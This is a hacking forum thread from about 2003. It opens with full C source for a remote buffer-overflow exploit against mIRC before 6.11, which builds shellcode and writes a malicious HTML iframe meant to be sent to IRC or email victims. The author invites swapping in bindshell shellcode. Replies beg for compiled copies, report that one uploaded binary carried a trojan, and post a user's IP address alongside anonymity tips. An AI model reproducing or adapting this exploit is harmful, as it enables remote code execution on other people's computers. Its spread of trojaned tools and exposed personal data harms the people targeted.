hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

Full Version: Mirc 6.1 Remote Shell
Neo_
CODE
/** gEEk-(filtered)-khaled.c -- remote mirc < 6.11 exploit by blasty
**
** TESTED ON: Windows XP (No SP, Ducth) Build: 2600.xpclient.010817-1148
**
** A few days ago, I saw a mIRC advisory on packetstorm [1] and was surprised
** nobody had written an exploit yet. So I decided to start writing one.
** Since this was my first time coding a exploit for windows, it took some
** research before I got the hang of it. (Ollydbg is much more confusing then GDB btw :P)
**
** This exploits (ab)uses the bug in irc:// URI handling. It contains a buffer-
** overflow, and when more then 998 bytes are given EIP will be overwritten.
**
** At first I was thinking of a simple solution to get this exploitable. Since
** giving an URI with > 998 chars to someone on IRC is simply NOT done :)
** Then I remember the iframe-irc:// flaw found by uuuppzz [2]
**
** This exploit will write an malicious HTML file containing an iframe executing the
** irc:// address. So you can give this to anyone on IRC for example;)
** The shellcode included does only execute cmd.exe, because I don't want to be this
** a scriptkiddy util. But, replacing the shellcode with your own is also possible.
** An 400 bytes shellcode (bindshell etc.) easily fits in the buffer, but it may require
** some tweaking.
** After exiting the cmd.exe mIRC will crash, so shellcode its not 100% clean, but who carez :)
**
** Oh yeah, I almost forgot.. this exploit also works even if mIRC isn't started.
** mIRC will start automatically when an irc:// is executed, so you can also send somebody
** and HTML email containing the evil HTML code. (only for poor clients like Outlook Express :P)
**
** Anyway, have fun with it, and dont own complete newb #chans :P
**
** Greetz to:
** inz, demz, gEEkz team
**
** [1] http://www.packetstormsecurity.nl/0310-advisories/mirc61.txt
** [2] http://www.uuuppz.com/research/adv-001-mirc.htm
**
** -- blasty (blasty@geekz.nl / www.geekz.nl)
**/

#include <stdio.h>


/* Stupid cmd.exe exec shellcode. hey! I r !evil;) */
unsigned char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x8b\xec\x55\x8b\xec\x68\x65\x78\x65\x20\x68\x63\x6d\x64\x2e\x8d\x45\xf8\x50\xb8"
"\x44\x80\xbf\x77"   // 0x78bf8044 <- adress of system()
"\xff\xd0";    //   call    system()


char jmpback[] =
       "\xE9\xCF\xFB\xFF\xFF"; // my leet negative JMP shellcode :)

char buffer[1100], fstring[1300]; // heh, need to clean this up

int main(int argc, char *argv[]) {
FILE *evil;

fprintf(stdout, "---------------------------------------------\n"
  "mIRC < 6.11 remote exploit by blasty@geekz.nl\n"
  "---------------------------------------------\n\n");

// NOPslides are cool
memset(buffer, 0x90, sizeof(buffer) - 1);

// place shellcode in buffer
memcpy(buffer + 20, shellcode, strlen(shellcode));

// took this one from ntdll.dll (jmp esp)
*(long *)&buffer[994] = 0x77F4801C;

// place jmpback shellcode in buffer
memcpy(buffer + 20 + strlen(shellcode) + 1010, jmpback, strlen(jmpback));

printf("[+] Evil buffer constructed\n");


// open HTML file for writing
if((evil = fopen("index.html", "a+")) != NULL) {

 // construct evil string :)
 sprintf(fstring, "<iframe src=\"irc://%s\"></iframe>", buffer);

 // write string to file
 fputs(fstring, evil);

 // close file
 fclose(evil);

 printf("[+] Evil HTML file written!\n");
 return(0);
} else {
 // uh oh.. :/
 fprintf(stderr, "ERROR: Could not open index.html for writing!\n");
 exit(1);
}
}
thatsmej
saw the exploit few days ago....

first thing is saw:
QUOTE

TESTED ON: Windows XP (No SP, Ducth) Build: 2600.xpclient.010817-1148


the maker wrote dutch wrong..

just something i noticed ph34r.gif
Anddos
someone please compile this smile.gif
yes100
sounds nice, compiling whould be nice smile.gif
xionoxid
I compiled this ! Try and say me if it's working , thx
Anddos
no it dosent say anything when u work it in dos sad.gif
u should of tested it before u uped smile.gif
thanks anyway
fabien_pp
what is the command of exploit ? please
ssj4conejo
WARNING THE FILE UPLOADED BY xionoxid has the beasty virus do not downlaod it, my nav picked it up, fuckin script kiddies at it again. One day i swear .... i will tell ur mommy's so that you can stop uppin beasty, atleast try a different fuckin trojan thats not detectable.. tards.
KoNh
Don't u guys ever read :

** The shellcode included does only execute cmd.exe, because I don't want to be this
** a scriptkiddy util. But, replacing the shellcode with your own is also possible.

!!!

And lololol it is so fun, people beging fer compil get virii ..
just as it has to be doesn't it ?
vnet576
LOL...at least modify the fuckin trojan before u bind and upload it so that our AVs don't pick it up. If u're gonna infect and 0wN all of us u might as well do it right...rofl morons.
Anddos
if they keep uploading trojans then why the (filtered) arnt they banned from the forum ?
dissolutions
mmmkay my a/v didn't pick it up but o well...
xionoxid IP Address: 203.20.58.1
wicked
QUOTE (dissolutions @ Oct 28 2003, 10:03 PM)
mmmkay my a/v didn't pick it up but o well...
xionoxid IP Address: 203.20.58.1

Crack me up xionoxid maybe you could use some of my advice and make sure that you are anonymous before comming to forums like these lmao.

Advice for xionoxid find post "a Few useful things" download , install proxyrama figgure out how to use it *can't b bothered explaining* USE IT!

ps: click on my little link below sad.gif

pps: maybe you already are anonymous wink.gif

another tip: theres to many experienced people and dangerous minds in this forum so i wouldn't be f$%^&g with the wrong one.

........enough said......

neb
xionoxid You are A BASTARD !!!!
Cheat i just dl this F***** Trojan and now i have difficulties to remove it !!!
If someone have information to How remove this cheat i am listening blink.gif
vnet576
I removed this (filtered)'s trojan with trojanhunter:

http://www.trojanhunter.com/
neb
ph34r.gif I am going to try this now Thanks a lot biggrin.gif
jetprice
QUOTE (Anddos @ Oct 28 2003, 03:42 PM)
someone please compile this smile.gif

If you can't even say the magic word "please" I wont compile anything for you... do it yourself goddammit. It's always the same with these kiddies in here, if you don't know how to compile then why in the name of zeuses BUTH*L* do you hack? You are worthless after all without us you can do anything but hacking!

Maybe i sound a bit harsh but what i say is meant, this is a security board and not a board with free leech for exploits, you should be ashamed of yourself!

Also a remote 4byte shellcode does NOT exist! You see something like that: ask yourself some questions...

greets jetprice
chris105
I tried to compile but it didnt work
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.